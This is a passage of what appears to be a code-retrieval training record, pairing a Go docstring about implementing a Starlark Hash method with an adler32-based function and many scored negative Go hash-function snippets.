side.\n\tsha.Write(marshalled[1:])\n\treturn byteArrayToBigInt(sha.Sum(nil))\n}", "func Hash(value int64) uint64 {\n\treturn FNVHash64(uint64(value))\n}", "func BytesToHash(b []byte) Hash32 {\n\tvar h Hash32\n\th.SetBytes(b)\n\treturn h\n}", "func hashFunction(key int, size int) int {\n\treturn key % size\n}", "func FNV32a(s string) uint32 {\n\treturn uint32Hasher(fnv.New32a(), s)\n}", "func Hash3Words(a, b, c, initval uint32) uint32 {\n\tconst iv = 0xdeadbeef + (3 << 2)\n\tinitval += iv\n\n\ta += initval\n\tb += initval\n\tc += initval\n\n\tc ^= b\n\tc -= rol32(b, 14)\n\ta ^= c\n\ta -= rol32(c, 11)\n\tb ^= a\n\tb -= rol32(a, 25)\n\tc ^= b\n\tc -= rol32(b, 16)\n\ta ^= c\n\ta -= rol32(c, 4)\n\tb ^= a\n\tb -= rol32(a, 14)\n\tc ^= b\n\tc -= rol32(b, 24)\n\n\treturn c\n}", "func (payload *ExtEthCompatPayload) Hash() B32 {\n\thash := crypto.Keccak256(payload.Value)\n\tvar phash B32\n\tcopy(phash[:], hash)\n\treturn phash\n}", "func SHA256(raw []byte) Hash {\n\treturn gosha256.Sum256(raw)\n}", "func HashKey(key int) int {\n\t/*\n\t\ttiedot should be compiled/run on x86-64 systems.\n\t\tIf you decide to compile tiedot on 32-bit systems, the following integer-smear algorithm will cause compilation failure\n\t\tdue to 32-bit interger overflow; therefore you must modify the algorithm.\n\t\tDo not remove the integer-smear process, and remember to run test cases to verify your mods.\n\t*/\n\t// ========== Integer-smear start =======\n\tkey = key ^ (key >> 4)\n\tkey = (key ^ 0xdeadbeef) + (key << 5)\n\tkey = key ^ (key >> 11)\n\t// ========== Integer-smear end =========\n\treturn key & ((1 << HASH_BITS) - 1) // Do not modify this line\n}", "func nilinterhash(a unsafe.Pointer, h uintptr) uintptr", "func fnv32a(s string) uint32 {\n\tconst (\n\t\tinitial = 2166136261\n\t\tprime = 16777619\n\t)\n\n\thash := uint32(initial)\n\tfor i := 0; i < len(s); i++ {\n\t\thash ^= uint32(s[i])\n\t\thash *= prime\n\t}\n\treturn hash\n}", "func CalculateHash(args []string) string {\n\tvar str = \"\"\n\tfor _,v := range args {\n\t\tstr += v\n\t}\n\thasher := sha256.New()\n\thasher.Write([]byte(str))\n\treturn hex.EncodeToString(hasher.Sum(nil))\n}", "func CalcBlockHash32Presorted(sortedView []BlockID, additionalBytes []byte) Hash32 {\n\thash := hash.New()\n\thash.Write(additionalBytes)\n\tfor _, id := range sortedView {\n\t\thash.Write(id.Bytes()) // this never returns an error: https://golang.org/pkg/hash/#Hash\n\t}\n\tvar res Hash32\n\thash.Sum(res[:0])\n\treturn res\n}", "func runtime_memhash(p unsafe.Pointer, seed, s uintptr) uintptr", "func hashCode(key string) int64 {\n\tv := int64(crc32.ChecksumIEEE([]byte(key)))\n\tif v >= 0 {\n\t\treturn v\n\t}\n\tif -v > 0 {\n\t\treturn -v\n\t}\n\t// v == MinInt\n\treturn 0\n}", "func (o *ObjectIndex) Hash() uint32 {\n\tvar h uint32 = 17\n\n\tvar str string\n\tstr += fmt.Sprintf(\"%08x\", o.machine)\n\tstr += fmt.Sprintf(\"%04x\", o.pid)\n\tstr += fmt.Sprintf(\"%08x\", o.id)\n\tstr += fmt.Sprintf(\"%08x\", o.Rand)\n\tfor _, v := range str {\n\t\th += h*23 + uint32(v)\n\t}\n\treturn h\n}", "func crc32Demo() {\n\t// hasher\n\th := crc32.NewIEEE()\n\tfmt.Println(reflect.TypeOf(h))\n\n\t// write a string converted to bytes\n\th.Write([]byte(\"test\"))\n\n\t// checksum\n\tv := h.Sum32()\n\tfmt.Println(reflect.TypeOf(v)) // uint32\n\tfmt.Println(v)\n}", "func (h Hash32) Bytes() []byte { return h[:] }", "func hashmapHash(data []byte) uint32 {\n\tvar result uint32 = 2166136261 // FNV offset basis\n\tfor _, c := range data {\n\t\tresult ^= uint32(c)\n\t\tresult *= 16777619 // FNV prime\n\t}\n\treturn result\n}", "func Hash(data []byte) [blake2b.Size]byte {\n\treturn blake2b.Sum512(data)\n}", "func fletcher32(payload []byte) uint32 {\n\ts1 := uint16(0)\n\ts2 := uint16(0)\n\n\tsz := len(payload) & (^1)\n\tfor i := 0; i < sz; i += 2 {\n\t\ts1 += uint16(payload[i]) | (uint16(payload[i+1]) << 8)\n\t\ts2 += s1\n\t}\n\tif len(payload)&1 != 0 {\n\t\ts1 += uint16(payload[sz])\n\t\ts2 += s1\n\t}\n\treturn (uint32(s2) << 16) | uint32(s1)\n}", "func (i *Instance) Hash() (uint32, error) {\n\th := fnv.New32()\n\tfmt.Fprintf(h, \"%s%s\", i.Name, i.Version)\n\n\tfn, err := i.Fn.Hash()\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\treturn fn ^ h.Sum32(), nil\n}", "func hash_func(x, y, n HashValue) (HashValue) {\n return (x*1640531513 ^ y*2654435789) % n\n}", "func HashBuildArgs(args interface{}) (string, error) {\n\tdata, err := json.Marshal(args)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\thash := sha256.Sum256(data)\n\treturn hex.EncodeToString(hash[:]), nil\n}", "func (gg GlobGroup) Hash() (uint32, error) {\n\th := adler32.New()\n\tgg.Hash32(h)\n\treturn h.Sum32(), nil\n}", "func (hasher *SHA256) HashLength() uint {\n\treturn 64\n}", "func (h *MemHash) Hash() uint32 {\n\tss := (*stringStruct)(unsafe.Pointer(&h.buf))\n\treturn uint32(memhash(ss.str, 0, uintptr(ss.len)))\n}" ]
[ "0.7513112", "0.72715765", "0.7190082", "0.6986059", "0.68957806", "0.67351377", "0.67205036", "0.67193633", "0.6649574", "0.6621809", "0.65809476", "0.6579308", "0.65534127", "0.6548068", "0.65251803", "0.6501993", "0.64664733", "0.6466416", "0.64491963", "0.6394227", "0.63191426", "0.63190085", "0.62662023", "0.62407404", "0.62161326", "0.62012714", "0.61236066", "0.61206007", "0.6113711", "0.60865384", "0.6079078", "0.6070839", "0.60679626", "0.6028909", "0.60234565", "0.60172623", "0.6001384", "0.60012794", "0.5998455", "0.5994997", "0.5975615", "0.594546", "0.5931275", "0.5926682", "0.5925481", "0.5897024", "0.5897024", "0.58704674", "0.586417", "0.58550256", "0.5853209", "0.5851851", "0.585127", "0.5840641", "0.58194196", "0.5815427", "0.5813978", "0.5808147", "0.58071226", "0.57908183", "0.57635707", "0.57561874", "0.57481956", "0.5744478", "0.57343984", "0.57275856", "0.57239074", "0.57196003", "0.57193524", "0.57163304", "0.5714951", "0.56846184", "0.5666647", "0.5652715", "0.56283873", "0.56237423", "0.5620443", "0.56199783", "0.5608764", "0.56069165", "0.56030476", "0.55983585", "0.55925786", "0.5587579", "0.55864966", "0.558254", "0.5576032", "0.55597", "0.5559594", "0.5557764", "0.55558187", "0.5539344", "0.5538027", "0.55377007", "0.552354", "0.5500545", "0.5492596", "0.54867786", "0.548338", "0.5482333" ]
0.7491727
1
Hash implements the starlark.Value.Hash() method.
func (t *Target) Hash() (uint32, error) { h := adler32.New() t.Hash32(h) return h.Sum32(), nil }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func Hash(value int64) uint64 {\n\treturn FNVHash64(uint64(value))\n}", "func (n *SoupNode) Hash() (uint32, error) {\n\treturn hashString(fmt.Sprintf(\"%v\", *n)), nil\n}", "func (o *ObjectIndex) Hash() uint32 {\n\tvar h uint32 = 17\n\n\tvar str string\n\tstr += fmt.Sprintf(\"%08x\", o.machine)\n\tstr += fmt.Sprintf(\"%04x\", o.pid)\n\tstr += fmt.Sprintf(\"%08x\", o.id)\n\tstr += fmt.Sprintf(\"%08x\", o.Rand)\n\tfor _, v := range str {\n\t\th += h*23 + uint32(v)\n\t}\n\treturn h\n}", "func hash(key, value string) int64 {\n\thash := siphash.New(sipConst)\n\thash.Write([]byte(key + \":::\" + value))\n\treturn int64(hash.Sum64())\n}", "func (term *Term) Hash() int {\n\treturn term.Value.Hash()\n}", "func (s *ShardMap) hash(v interface{}) int {\n\tswitch s.Type {\n\tcase \"string\":\n\t\tval, ok := v.(string)\n\t\tif !ok {\n\t\t\treturn -1\n\t\t}\n\n\t\thash := fnv.New32()\n\t\thash.Write([]byte(val))\n\t\treturn int(hash.Sum32() % NumShards)\n\tcase \"int32\":\n\t\t// Values that come as numbers in JSON are of type float64.\n\t\tval, ok := v.(float64)\n\t\tif !ok {\n\t\t\treturn -1\n\t\t}\n\n\t\treturn int(int32(val) % NumShards)\n\tdefault:\n\t\treturn -1\n\t}\n}", "func (this *Ring) Hash(key string) uint32 {\n\treturn crc32.ChecksumIEEE([]byte(key))\n}", "func Hash(length int, key string) int64 {\n\tif key == \"\" {\n\t\treturn 0\n\t}\n\thc := hashCode(key)\n\treturn (hc ^ (hc >> 16)) % int64(length)\n}", "func HashOf(v Value) []byte {\n\treturn quad.HashOf(v)\n}", "func hash(value string) uint32 {\n\th := fnv.New32a()\n\th.Write([]byte(value))\n\n\treturn h.Sum32()\n}", "func (ref Ref) Hash() int {\n\treturn termSliceHash(ref)\n}", "func (o *Object) Hash() string {\n\treturn Hash(o, true, false, true)\n}", "func (r Ref) Hash() int {\n\treturn termSliceHash(r)\n}", "func hash(obj interface{}) KHash {\n\tvar buffer bytes.Buffer\n\tencoder := json.NewEncoder(&buffer)\n\terr := encoder.Encode(obj)\n\tif err != nil {\n\t\tpanic(\"cannot encode object\")\n\t}\n\n\tdata := buffer.Bytes()\n\th := sha256.Sum256(data)\n\n\t// log.Printf(\"hashing %#v represented as %s with hash %X\", obj, data, h)\n\treturn h\n}", "func (i *Instance) Hash() (uint32, error) {\n\th := fnv.New32()\n\tfmt.Fprintf(h, \"%s%s\", i.Name, i.Version)\n\n\tfn, err := i.Fn.Hash()\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\treturn fn ^ h.Sum32(), nil\n}", "func (expr *Expr) Hash() int {\n\ts := expr.Index\n\tswitch ts := expr.Terms.(type) {\n\tcase []*Term:\n\t\tfor _, t := range ts {\n\t\t\ts += t.Value.Hash()\n\t\t}\n\tcase *Term:\n\t\ts += ts.Value.Hash()\n\t}\n\tif expr.Negated {\n\t\ts++\n\t}\n\treturn s\n}", "func (i *Index) Hash() (uint32, error) {\n\treturn 0, fmt.Errorf(\"unhashable: %s\", i.Type())\n}", "func (p *FiveTuple) Hash() uint64 {\n\treturn siphash.Hash(lookupKey, 0, p.data)\n}", "func (k Ktype) Hash() uint32 {\n\tif k == UnknownKtype {\n\t\treturn 0\n\t}\n\treturn hashers.FnvUint32([]byte(k.String()))\n}", "func (sc *SetComprehension) Hash() int {\n\treturn sc.Term.Hash() + sc.Body.Hash()\n}", "func Hash(data interface{}) string {\n\treturn hex.EncodeToString(RawHash(data))\n}", "func (obj *identifier) Hash() hash.Hash {\n\tif obj.IsElement() {\n\t\treturn obj.Element().Hash()\n\t}\n\n\treturn obj.Comparer().Hash()\n}", "func Hash(key []byte) uint64 {\n\treturn murmur3.Sum64(key)\n}", "func (o *Object) Hash(ht hash.Type) (string, error) {\n\terr := o.loadMetadataIfNotLoaded()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tif ht&hash.MD5 == 0 {\n\t\treturn \"\", hash.ErrUnsupported\n\t}\n\treturn hex.EncodeToString(o.meta.Hash), nil\n}", "func (null Null) Hash() int {\n\treturn 0\n}", "func Hasher(value string) string {\n\th := fnv.New32a()\n\t_, _ = h.Write([]byte(value))\n\treturn fmt.Sprintf(\"%v\", h.Sum32())\n}", "func (p PropertyHashList) Hash() string {\n\tglobalSum := sha256.New()\n\tfor _, hash := range p {\n\t\t_, _ = globalSum.Write(hash.Hash)\n\t}\n\n\tsum := globalSum.Sum(nil)\n\n\treturn hex.EncodeToString(sum)\n}", "func (t *openAddressing) hash(key string, round int) uint32 {\n\tnum := uint(stringToInt(key))\n\tmax := uint(len(t.values) - 1)\n\treturn uint32((hashDivision(num, max) + uint(round)*hashDivision2(num, max)) % max)\n}", "func hash(t types.Type, x value) int {\n\tswitch x := x.(type) {\n\tcase bool:\n\t\tif x {\n\t\t\treturn 1\n\t\t}\n\t\treturn 0\n\tcase int:\n\t\treturn x\n\tcase int8:\n\t\treturn int(x)\n\tcase int16:\n\t\treturn int(x)\n\tcase int32:\n\t\treturn int(x)\n\tcase int64:\n\t\treturn int(x)\n\tcase uint:\n\t\treturn int(x)\n\tcase uint8:\n\t\treturn int(x)\n\tcase uint16:\n\t\treturn int(x)\n\tcase uint32:\n\t\treturn int(x)\n\tcase uint64:\n\t\treturn int(x)\n\tcase uintptr:\n\t\treturn int(x)\n\tcase float32:\n\t\treturn int(x)\n\tcase float64:\n\t\treturn int(x)\n\tcase complex64:\n\t\treturn int(real(x))\n\tcase complex128:\n\t\treturn int(real(x))\n\tcase string:\n\t\treturn hashString(x)\n\tcase *value:\n\t\treturn int(uintptr(unsafe.Pointer(x)))\n\tcase chan value:\n\t\treturn int(uintptr(reflect.ValueOf(x).Pointer()))\n\tcase structure:\n\t\treturn x.hash(t)\n\tcase array:\n\t\treturn x.hash(t)\n\tcase iface:\n\t\treturn x.hash(t)\n\tcase rtype:\n\t\treturn x.hash(t)\n\t}\n\tpanic(fmt.Sprintf(\"%T is unhashable\", x))\n}", "func (o *Object) Hash(ctx context.Context, r hash.Type) (string, error) {\n\treturn \"\", hash.ErrUnsupported\n}", "func Hash(s int, o Orientation) (int, error) {\n\n\tvar errVal int = 10\n\n\tif !(s >= 0 && s <= palletWidth*palletLength) {\n\t\treturn errVal, ErrSize\n\t}\n\tif o != HORIZONTAL && o != VERTICAL && o != SQUAREGRID {\n\t\treturn errVal, ErrOrient\n\t}\n\n\tvar hash int\n\n\tswitch s {\n\tcase 1, 2, 3, 6:\n\t\thash = s - 1\n\tcase 4:\n\t\tif o == SQUAREGRID {\n\t\t\thash = s\n\t\t} else {\n\t\t\thash = s - 1\n\t\t}\n\tcase 8:\n\t\thash = 6\n\tcase 9:\n\t\thash = 7\n\tcase 12:\n\t\thash = 8\n\tcase 16:\n\t\thash = 9\n\tdefault:\n\t\treturn errVal, ErrSize\n\t}\n\n\treturn hash, nil\n}", "func (oc *ObjectComprehension) Hash() int {\n\treturn oc.Key.Hash() + oc.Value.Hash() + oc.Body.Hash()\n}", "func (c *Cluster) Hash(v interface{}) (int, error) {\n\th, err := hashstructure.Hash(v, nil)\n\n\tif err != nil {\n\t\treturn -1, err\n\t}\n\n\t// get cluster index\n\tci := int(h % uint64(c.metadata.NumShards))\n\n\treturn ci, nil\n}", "func (a Address) Hash() Hash { return BytesToHash(a[:]) }", "func (v Var) Hash() int {\n\th := xxhash.ChecksumString64S(string(v), hashSeed0)\n\treturn int(h)\n}", "func Hash(k0, k1 uint64, p []byte) uint64 {\n\tvar d digest\n\td.size = Size\n\td.k0 = k0\n\td.k1 = k1\n\td.Reset()\n\td.Write(p)\n\treturn d.Sum64()\n}", "func (m *Map) Hash() string {\n\treturn Hash(m, true, false, true)\n}", "func (b BlockChain) Hash() {\n\n}", "func (a *Array) Hash() string {\n\treturn Hash(a, true, false, true)\n}", "func Hash(strings ...string) uint32 {\n\tdigester := fnv.New32()\n\tfor _, s := range strings {\n\t\t_, _ = io.WriteString(digester, s)\n\t}\n\treturn digester.Sum32()\n}", "func (o *Object) Hash(ctx context.Context, t hash.Type) (string, error) {\n\treturn \"\", hash.ErrUnsupported\n}", "func (c Category) Hash() uint32 {\n\treturn hashers.FnvUint32([]byte(c))\n}", "func Hash(i interface{}) string {\n\tv := reflect.ValueOf(i)\n\tif v.Kind() != reflect.Ptr {\n\t\tif !v.CanAddr(){\n\t\t\treturn \"\"\n\t\t}\n\t\tv = v.Addr()\n\t}\n\n\tsize := unsafe.Sizeof(v.Interface())\n\tb := (*[1 << 10]uint8)(unsafe.Pointer(v.Pointer()))[:size:size]\n\n\th := md5.New()\n\treturn base64.StdEncoding.EncodeToString(h.Sum(b))\n}", "func (s *set) Hash() int {\n\treturn s.hash\n}", "func (obj *bucket) Hash() hash.Hash {\n\treturn obj.immutable.Hash()\n}", "func hash(key uint64) uint64 {\r\n\tkey ^= key >> 33\r\n\tkey *= 0xff51afd7ed558ccd\r\n\tkey ^= key >> 33\r\n\tkey *= 0xc4ceb9fe1a85ec53\r\n\tkey ^= key >> 33\r\n\treturn key\r\n}", "func (s Sample) Hash() []byte {\n\tallVecs := make([]linalg.Vector, len(s.Inputs)+len(s.Outputs))\n\tcopy(allVecs, s.Inputs)\n\tcopy(allVecs[len(s.Inputs):], s.Outputs)\n\treturn sgd.HashVectors(allVecs...)\n}", "func Hash(a interface{}) (string, error) {\n\th := sha1.New()\n\tif err := json.NewEncoder(h).Encode(a); err != nil {\n\t\treturn \"\", nil\n\t}\n\treturn base64.URLEncoding.EncodeToString(h.Sum(nil)), nil\n}", "func hash(key string) int{\n\tvar num = 0\n\t// get the lenght of the key\n\tvar length = len(key)\n\n\t// add the ascii character value to creat a sum \n\tfor i := 0; i < length; i++{\n\n\t\tnum += int(key[i])\n\t}\n\t\n\t// square in the middle hash method\n\tvar avg = num * int((math.Pow(5.0, 0.5) - 1)) / 2\n\tvar numeric = avg - int(math.Floor(float64(avg)))\n\n\n\t// hash value to place into the table slice between -1 and CAPACITY - 1\n\treturn int(math.Floor(float64(numeric * CAPACITY)))\n}", "func Hash(content string, size int) int {\n\tsequence := sliceutil.Atoi(content, \",\")\n\tcircleKnots := GetStringCircle(size)\n\tfor _, n := range sequence {\n\t\tcircleKnots.ComputeKnot(n)\n\t}\n\treturn circleKnots.GetHash()\n}", "func (bc *Blockchain) Hash() {\n\n}", "func (t Tuple1) Hash() uint32 {\n\tif t.E1 == nil {\n\t\treturn 0\n\t}\n\treturn t.E1.Hash()\n}", "func hash(s string) uint32 {\n h := fnv.New32a()\n h.Write([]byte(s))\n return h.Sum32()\n}", "func (obj *immutable) Hash() hash.Hash {\n\treturn obj.hash\n}", "func (o *Object) Hash(t fs.HashType) (string, error) {\n\treturn \"\", fs.ErrHashUnsupported\n}", "func Hash(key string) uint32 {\n\treturn uint32(aeshashstr(noescape(unsafe.Pointer(&key)), 0))\n}", "func (o *ObjectInfo) Hash(ht hash.Type) (string, error) {\n\tif o.meta == nil {\n\t\tmo, err := o.f.NewObject(generateMetadataName(o.Remote()))\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\to.meta = readMetadata(mo)\n\t}\n\tif ht&hash.MD5 == 0 {\n\t\treturn \"\", hash.ErrUnsupported\n\t}\n\treturn hex.EncodeToString(o.meta.Hash), nil\n}", "func (h *Header) Hash() [32]byte {\n\tvar f []string\n\tif h.Description.Value != \"\" {\n\t\tf = append(f, h.Description.Value)\n\t}\n\tf = append(f, fmt.Sprint(h.Required.Value))\n\tf = append(f, fmt.Sprint(h.Deprecated.Value))\n\tf = append(f, fmt.Sprint(h.AllowEmptyValue.Value))\n\tif h.Style.Value != \"\" {\n\t\tf = append(f, h.Style.Value)\n\t}\n\tf = append(f, fmt.Sprint(h.Explode.Value))\n\tf = append(f, fmt.Sprint(h.AllowReserved.Value))\n\tif h.Schema.Value != nil {\n\t\tf = append(f, low.GenerateHashString(h.Schema.Value))\n\t}\n\tif h.Example.Value != nil {\n\t\tf = append(f, fmt.Sprint(h.Example.Value))\n\t}\n\tif len(h.Examples.Value) > 0 {\n\t\tfor k := range h.Examples.Value {\n\t\t\tf = append(f, fmt.Sprintf(\"%s-%x\", k.Value, h.Examples.Value[k].Value.Hash()))\n\t\t}\n\t}\n\tif len(h.Content.Value) > 0 {\n\t\tfor k := range h.Content.Value {\n\t\t\tf = append(f, fmt.Sprintf(\"%s-%x\", k.Value, h.Content.Value[k].Value.Hash()))\n\t\t}\n\t}\n\tkeys := make([]string, len(h.Extensions))\n\tz := 0\n\tfor k := range h.Extensions {\n\t\tkeys[z] = fmt.Sprintf(\"%s-%x\", k.Value, sha256.Sum256([]byte(fmt.Sprint(h.Extensions[k].Value))))\n\t\tz++\n\t}\n\tsort.Strings(keys)\n\tf = append(f, keys...)\n\treturn sha256.Sum256([]byte(strings.Join(f, \"|\")))\n}", "func (l *LexerATNConfig) Hash() int {\n\tvar f int\n\tif l.passedThroughNonGreedyDecision {\n\t\tf = 1\n\t} else {\n\t\tf = 0\n\t}\n\th := murmurInit(7)\n\th = murmurUpdate(h, l.state.GetStateNumber())\n\th = murmurUpdate(h, l.alt)\n\th = murmurUpdate(h, l.context.Hash())\n\th = murmurUpdate(h, l.semanticContext.Hash())\n\th = murmurUpdate(h, f)\n\th = murmurUpdate(h, l.lexerActionExecutor.Hash())\n\th = murmurFinish(h, 6)\n\treturn h\n}", "func (bol Boolean) Hash() int {\n\tif bol {\n\t\treturn 1\n\t}\n\treturn 0\n}", "func (set *lalrSet) hash() (val uint32) {\n\t// Need hash to be order independent, so\n\t// just XOR everything.\n\tfor _, list := range(set.items) {\n\t\tfor _, item := range(list) {\n\t\t\tval = val ^ item.hash()\n\t\t}\n\t}\n\n\treturn\n}", "func (p Path) Hash() (uint32, error) {\n\treturn adler32.Checksum([]byte(p)), nil\n}", "func Hash(t *Token) (hash []byte) {\n var sum []byte\n\n // Compute the SHA1 sum of the Token\n {\n shasum := sha1.Sum([]byte(salt+string(*t)))\n copy(sum[:], shasum[:20])\n }\n\n // Encode the sum to hexadecimal\n hex.Encode(sum, sum)\n\n return\n}", "func (m MapEntry) Hash() uint32 {\n\treturn sequtil.Hash(m.key)\n}", "func hash(ls prometheus.Tags) uint64 {\n\tlbs := make(labels.Labels, 0, len(ls))\n\tfor k, v := range ls {\n\t\tlbs = append(lbs, labels.Label{\n\t\t\tName: k,\n\t\t\tValue: v,\n\t\t})\n\t}\n\n\tsort.Slice(lbs[:], func(i, j int) bool {\n\t\treturn lbs[i].Name < lbs[j].Name\n\t})\n\n\treturn lbs.Hash()\n}", "func (n *node) Hash() []byte {\n\treturn n.hash\n}", "func (obj *object) Hash() int {\n\treturn obj.hash\n}", "func (c *ColumnValue) Hash() uint64 {\n\tif c == nil {\n\t\treturn cache.NewHash(FragmentType_ColumnValue, nil)\n\t}\n\treturn cache.NewHash(FragmentType_ColumnValue, c.Column, c.Operator, c.Value)\n}", "func (in *Instance) hash(x, y, mu *big.Int, T uint64) *big.Int {\n\tb := sha512.New()\n\tb.Write(x.Bytes())\n\tb.Write(y.Bytes())\n\tb.Write(mu.Bytes())\n\tbits := make([]byte, 8)\n\tbinary.LittleEndian.PutUint64(bits, T)\n\tb.Write(bits)\n\tres := new(big.Int).SetBytes(b.Sum(nil))\n\tres.Mod(res, in.rsaModulus)\n\treturn res\n}", "func (s *Sub) Hash() (uint32, error) {\n\th := adler32.New()\n\ts.Hash32(h)\n\treturn h.Sum32(), nil\n}", "func (s SampleList) Hash(i int) []byte {\n\tres := md5.Sum(s[i])\n\treturn res[:]\n}", "func (n Number) Hash() int {\n\tf, err := json.Number(n).Float64()\n\tif err != nil {\n\t\tbs := []byte(n)\n\t\th := xxhash.Checksum64(bs)\n\t\treturn int(h)\n\t}\n\treturn int(f)\n}", "func (source *Source) Hash() int {\n\tvar hash int\n\n\tif len(source.Prefix) > 0 {\n\t\tfor _, b := range source.Prefix {\n\t\t\thash = int(b*31) + hash\n\t\t}\n\t}\n\n\thash = int(source.PrefixLen*31) + hash\n\thash = int(source.RouterId*31) + hash\n\n\treturn hash\n}", "func (r *Restriction) hash() ([]byte, error) {\n\tj, err := json.Marshal(r)\n\tif err != nil {\n\t\treturn nil, errors.WithStack(err)\n\t}\n\treturn hashUtils.SHA512(j), nil\n}", "func (i *Instance) Hash(extraBytes []byte) (string, error) {\n\t//nolint:gosec // not being used for secure purposes\n\th := sha1.New()\n\n\t// copy by value to ignore ETag without affecting i\n\ti2 := *i\n\ti2.ETag = \"\"\n\n\tinstanceBytes, err := bson.Marshal(i2)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tif _, err := h.Write(append(instanceBytes, extraBytes...)); err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn fmt.Sprintf(\"%x\", h.Sum(nil)), nil\n}", "func (h *kustHash) Hash(m ifc.Kunstructured) (string, error) {\n\tu := unstructured.Unstructured{\n\t\tObject: m.Map(),\n\t}\n\tkind := u.GetKind()\n\tswitch kind {\n\tcase \"ConfigMap\":\n\t\tcm, err := unstructuredToConfigmap(u)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\treturn configMapHash(cm)\n\tcase \"Secret\":\n\t\tsec, err := unstructuredToSecret(u)\n\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\treturn secretHash(sec)\n\tdefault:\n\t\treturn \"\", fmt.Errorf(\n\t\t\t\"type %s is not supported for hashing in %v\",\n\t\t\tkind, m.Map())\n\t}\n}", "func (p Primitive) Hash() string {\n\treturn p.Name()\n}", "func (d Data32) Hash() Hash {\n\treturn hash(d)\n}", "func (n *notifier) hash(other *memberlist.Node) uint64 {\n\treturn uint64(murmur.Murmur3([]byte(other.Name), murmur.M3Seed))\n}", "func encodeHash(x uint64, p, pPrime uint) (hashCode uint64) {\n\tif x&onesFromTo(64-pPrime, 63-p) == 0 {\n\t\tr := rho(extractShift(x, 0, 63-pPrime))\n\t\treturn concat([]concatInput{\n\t\t\t{x, 64 - pPrime, 63},\n\t\t\t{uint64(r), 0, 5},\n\t\t\t{1, 0, 0}, // this just adds a 1 bit at the end\n\t\t})\n\t} else {\n\t\treturn concat([]concatInput{\n\t\t\t{x, 64 - pPrime, 63},\n\t\t\t{0, 0, 0}, // this just adds a 0 bit at the end\n\t\t})\n\t}\n}", "func (obj *set) Hash() hash.Hash {\n\treturn obj.hash\n}", "func (h *MemHash) Hash() uint32 {\n\tss := (*stringStruct)(unsafe.Pointer(&h.buf))\n\treturn uint32(memhash(ss.str, 0, uintptr(ss.len)))\n}", "func (d Data256) Hash() Hash {\n\treturn hash(d)\n}", "func hash(values ...[]byte) ([]byte, error) {\n\th := swarm.NewHasher()\n\tfor _, v := range values {\n\t\t_, err := h.Write(v)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\treturn h.Sum(nil), nil\n}", "func (c Call) Hash() int {\n\treturn termSliceHash(c)\n}", "func hash(stav Stav) uint64{\n\tstr := \"\"\n\n\tfor i := 0; i < len(stav.Auta); i++ {\n\t\tstr += stav.Auta[i].Farba\n\t\tstr += strconv.Itoa(int(stav.Auta[i].X))\n\t\tstr += strconv.Itoa(int(stav.Auta[i].Y))\n\t\tstr += strconv.FormatBool(stav.Auta[i].Smer)\n\t\tstr += strconv.Itoa(int(stav.Auta[i].Dlzka))\n\t}\n\n\th := fnv.New64a()\n\th.Write([]byte(str))\n\treturn h.Sum64()\n\n}", "func (t *Table) hash(s string) int {\n\t// Good enough.\n\th := fnv.New32()\n\th.Write([]byte(s))\n\treturn int(h.Sum32()) % t.m\n}", "func Hash(b []byte, seed uint64) uint64", "func (gdt *Array) Hash() Int {\n\targ0 := gdt.getBase()\n\n\tret := C.go_godot_array_hash(GDNative.api, arg0)\n\n\treturn Int(ret)\n}", "func (e EmptyNode) Hash() util.Uint256 {\n\tpanic(\"can't get hash of an EmptyNode\")\n}", "func hash(k Key) int {\n\tkey := fmt.Sprintf(\"%s\", k)\n\th := 0\n\tfor i := 0; i < len(key); i++ {\n\t\th = 31 * h + int(key[i])\n\t}\n\treturn h\n}", "func (o *ExportData) Hash() string {\n\targs := make([]interface{}, 0)\n\targs = append(args, o.CustomerID)\n\targs = append(args, o.ID)\n\targs = append(args, o.IntegrationInstanceID)\n\targs = append(args, o.JobID)\n\targs = append(args, o.Objects)\n\targs = append(args, o.RefID)\n\targs = append(args, o.RefType)\n\to.Hashcode = hash.Values(args...)\n\treturn o.Hashcode\n}", "func hash(m datasource.Metric) uint64 {\n\thash := fnv.New64a()\n\tlabels := m.Labels\n\tsort.Slice(labels, func(i, j int) bool {\n\t\treturn labels[i].Name < labels[j].Name\n\t})\n\tfor _, l := range labels {\n\t\t// drop __name__ to be consistent with Prometheus alerting\n\t\tif l.Name == \"__name__\" {\n\t\t\tcontinue\n\t\t}\n\t\thash.Write([]byte(l.Name))\n\t\thash.Write([]byte(l.Value))\n\t\thash.Write([]byte(\"\\xff\"))\n\t}\n\treturn hash.Sum64()\n}", "func (t *Target) hash() uint64 {\n\th := fnv.New64a()\n\n\t//nolint: errcheck\n\th.Write([]byte(fmt.Sprintf(\"%016d\", t.labels.Hash())))\n\t//nolint: errcheck\n\th.Write([]byte(t.URL().String()))\n\n\treturn h.Sum64()\n}", "func (t *smallFlatTable) Hash() hash.Hash { return t.hash }", "func (obj *chunk) Hash() hash.Hash {\n\treturn obj.immutable.Hash()\n}", "func (d Data) Hash() Hash {\n\treturn hash(d)\n}", "func Hash(mem []byte) uint64 {\n\tvar hash uint64 = 5381\n\tfor _, b := range mem {\n\t\thash = (hash << 5) + hash + uint64(b)\n\t}\n\treturn hash\n}", "func Hash(seed maphash.Seed, k Key) uint64 {\n\tvar buf [8]byte\n\tswitch v := k.(type) {\n\tcase mapKey:\n\t\treturn hashMapKey(seed, v)\n\tcase interfaceKey:\n\t\ts := v.Hash()\n\t\t// Mix up the hash to ensure it covers 64-bits\n\t\tbinary.LittleEndian.PutUint64(buf[:8], uint64(s))\n\t\treturn hashBytes(seed, buf[:8])\n\tcase strKey:\n\t\treturn hashString(seed, string(v))\n\tcase bytesKey:\n\t\treturn hashBytes(seed, []byte(v))\n\tcase int8Key:\n\t\tbuf[0] = byte(v)\n\t\treturn hashBytes(seed, buf[:1])\n\tcase int16Key:\n\t\tbinary.LittleEndian.PutUint16(buf[:2], uint16(v))\n\t\treturn hashBytes(seed, buf[:2])\n\tcase 